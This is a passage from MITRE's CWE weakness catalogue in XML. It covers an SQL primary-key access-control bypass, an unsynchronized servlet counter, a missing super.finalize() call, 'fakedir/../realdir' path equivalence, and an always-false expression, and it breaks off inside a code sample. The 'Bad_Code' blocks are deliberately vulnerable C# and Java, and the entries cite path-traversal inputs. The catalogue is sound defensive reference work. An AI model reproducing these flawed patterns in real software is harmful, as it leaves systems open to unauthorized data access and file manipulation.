					          <Technology_Class Prevalence="Often" Technology_Name="Database-Server"/>
				        </Technology_Classes>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use a standard input validation
							mechanism to validate all input for length, type, syntax, and business
							rules before accepting the data. Use an "accept known good" validation
							strategy.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use a parameterized query AND make sure that the accepted values
							conform to the business rules. Construct your SQL statement
							accordingly.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following code uses a parameterized statement, which escapes
						metacharacters and prevents SQL injection vulnerabilities, to construct and
						execute a SQL query that searches for an invoice matching the specified
						identifier [1]. The identifier is selected from a list of all invoices
						associated with the current authenticated user.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C#</Code_Example_Language>
							              <Code>...</Code>
							              <Code>conn = new SqlConnection(_ConnectionString);</Code>
							              <Code>conn.Open();</Code>
							              <Code>int16 id = System.Convert.ToInt16(invoiceID.Text);</Code>
							              <Code>SqlCommand query = new SqlCommand( "SELECT * FROM invoices WHERE
								id = @id", conn);</Code>
							              <Code>query.Parameters.AddWithValue("@id", id);</Code>
							              <Code>SqlDataReader objReader = objCommand.ExecuteReader();</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>The problem is that the developer has not considered all of the
							possible values of id. Although the interface generates a list of
							invoice identifiers that belong to the current user, an attacker can
							bypass this interface to request any desired invoice. Because the code
							in this example does not check to ensure that the user has permission to
							access the requested invoice, it will display any invoice, even if it
							does not belong to the current user.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Description, Other_Notes,
						Potential_Mitigations, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples,
						Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2011-03-29">Access Control Bypass Through
						User-Controlled SQL Primary Key</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="567" Name="Unsynchronized Access to Shared Data in a Multithreaded Context" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The product does not properly synchronize shared data, such as
					static variables across threads, which can lead to undefined behavior and
					unpredictable data changes.</Description_Summary>
				        <Extended_Description>
					          <Text>Within servlets, shared static variables are not protected from concurrent
						access, but servlets are multithreaded. This is a typical programming
						mistake in J2EE applications, since the multithreading is handled by the
						framework. When a shared variable can be influenced by an attacker, one
						thread could wind up modifying the variable to contain data that is not
						valid for a different thread that is also using the data within the
						variable. </Text>
					          <Text>Note that this weakness is not unique to servlets.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>662</Relationship_Target_ID>
					          <!--Improper Synchronization-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>557</Relationship_Target_ID>
					          <!--Concurrency Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>488</Relationship_Target_ID>
					          <!--Exposure of Data Element to Wrong Session-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>852</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 07 - Visibility and Atomicity (VNA)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>894</Relationship_Target_ID>
					          <!--SFP Cluster: Synchronization-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: instability</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If the shared variable contains sensitive data, it may be manipulated
							or displayed in another user session. If this data is used to control
							the application, its value can be manipulated to cause the application
							to crash or perform poorly.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Remove the use of static variables used between servlets. If this
							cannot be avoided, use synchronized access for these variables.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text> The following code implements a basic counter for how many times
						the page has been accesed. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public static class Counter extends HttpServlet {</Code>
							              <Block>
								                <Code>static int count = 0;</Code>
								                <Code>protected void doGet(HttpServletRequest in,
									HttpServletResponse out)</Code>
								                <Code>throws ServletException, IOException {</Code>
								                <Block>
									                  <Code>out.setContentType("text/plain");</Code>
									                  <Code>PrintWriter p = out.getWriter();</Code>
									                  <Code>count++;</Code>
									                  <Code>p.println(count + " hits so far!");</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>Consider when two separate threads, Thread A and Thread B,
							concurrently handle two different requests:</Text>
						            <Block Block_Nature="List">
							              <Text>Assume this is the first occurrence of doGet, so the value of
								count is 0.</Text>
							              <Text>doGet() is called within Thread A.</Text>
							              <Text>The execution of doGet() in Thread A continues to the point AFTER
								the value of the count variable is read, then incremented, but
								BEFORE it is saved back to count. At this stage, the incremented
								value is 1, but the value of count is 0. </Text>
							              <Text>doGet() is called within Thread B, and due to a higher thread
								priority, Thread B progresses to the point where the count variable
								is accessed (where it is still 0), incremented, and saved. After the
								save, count is 1.</Text>
							              <Text>Thread A continues. It saves the intermediate, incremented value
								to the count variable - but the incremented value is 1, so count is
								"re-saved" to 1.</Text>
						            </Block>
						            <Text>At this point, both Thread A and Thread B print that one hit has been
							seen, even though two separate requests have been processed. The value
							of count should be 2, not 1.</Text>
						            <Text>While this example does not have any real serious implications, if the
							shared variable in question is used for resource tracking, then resource
							consumption could occur. Other scenarios exist.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Ensure visibility when accessing shared primitive
						variables</Mapped_Node_Name>
					          <Mapped_Node_ID>VNA00-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Ensure that compound operations on shared variables are
						atomic</Mapped_Node_Name>
					          <Mapped_Node_ID>VNA02-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>25</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal" Modification_Importance="Critical">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-09</Modification_Date>
					          <Modification_Comment>Made name and description more specific to match the
						essence of the rest of the entry.</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Demonstrative_Examples, Description, Name, Other_Notes,
						Potential_Mitigations, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2010-12-13">Unsynchronized Access to
						Shared Data</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="568" Name="finalize() Method Without super.finalize()" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software contains a finalize() method that does not call
					super.finalize().</Description_Summary>
				        <Extended_Description>
					          <Text>The Java Language Specification states that it is a good practice for a
						finalize() method to call super.finalize().</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>399</Relationship_Target_ID>
					          <!--Resource Management Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>573</Relationship_Target_ID>
					          <!--Improper Following of Specification by Caller-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>459</Relationship_Target_ID>
					          <!--Incomplete Cleanup-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>850</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 05 - Methods (MET)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>897</Relationship_Target_ID>
					          <!--SFP Cluster: Entry Points-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Call the super.finalize() method.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use static analysis tools to spot such issues in your code.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following method omits the call to
						super.finalize().</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>protected void finalize() {</Code>
							              <Block>
								                <Code>discardNative();</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not use finalizers</Mapped_Node_Name>
					          <Mapped_Node_ID>MET12-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Erroneous Finalize
						Method</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="57" Name="Path Equivalence: 'fakedir/../realdir/filename'" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software contains protection mechanisms to restrict access
					to 'realdir/filename', but it constructs pathnames using external input in the
					form of 'fakedir/../realdir/filename' that are not handled by those mechanisms.
					This allows attackers to perform unauthorized actions against the targeted
					file.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>41</Relationship_Target_ID>
					          <!--Improper Resolution of Path Equivalence-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1152</Observed_Example_Reference>
					          <Observed_Example_Description> Proxy allows remote attackers to bypass blacklist
						restrictions and connect to unauthorized web servers by modifying the
						requested URL, including (1) a // (double slash), (2) a /SUBDIR/.. where the
						desired file is in the parentdir, (3) a /./, or (4) URL-encoded characters.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0191</Observed_Example_Reference>
					          <Observed_Example_Description>application check access for restricted URL before
						canonicalization</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1366</Observed_Example_Reference>
					          <Observed_Example_Description>CGI source disclosure using
						"dirname/../cgi-bin"</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Theoretical_Notes>
				        <Theoretical_Note>
					          <Text>This is a manipulation that uses an injection for one consequence
						(containment violation using relative path) to achieve a different
						consequence (equivalence by alternate name).</Text>
				        </Theoretical_Note>
			      </Theoretical_Notes>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>dirname/fakechild/../realchild/filename</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description, Name, Observed_Examples, Other_Notes,
						Theoretical_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Path Issue -
						dirname/fakechild/../realchild/filename</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2008-10-14">Path Equivalence:
						'dirname/fakechild/../realchild/filename'</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="570" Name="Expression is Always False" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software contains an expression that will always evaluate
					to false.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>561</Relationship_Target_ID>
					          <!--Dead Code-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>569</Relationship_Target_ID>
					          <!--Expression Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>747</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>883</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>885</Relationship_Target_ID>
					          <!--SFP Cluster: Risky Values-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use Static Analysis tools to spot such conditions.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the following Java example the updateUserAccountOrder() method
						used within an e-business product ordering/inventory application will
						validate the product number that was ordered and the user account number. If
						they are valid, the method will update the product inventory, the user
						account, and the user order appropriately. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code/>
							              <Code>public void updateUserAccountOrder(String productNumber, String
								accountNumber) {</Code>
							              <Block>
								                <Code>boolean isValidProduct = false;</Code>
								                <Code>boolean isValidAccount = false;</Code>
								                <Code/>
								                <Code>if (validProductNumber(productNumber)) {</Code>
								                <Block>
									                  <Code>isValidProduct = true;</Code>
									                  <Code>updateInventory(productNumber);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>else {</Code>
								                <Block>
									                  <Code>return;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>if (validAccountNumber(accountNumber)) {</Code>
								                <Block>
									                  <Code>isValidProduct = true;</Code>
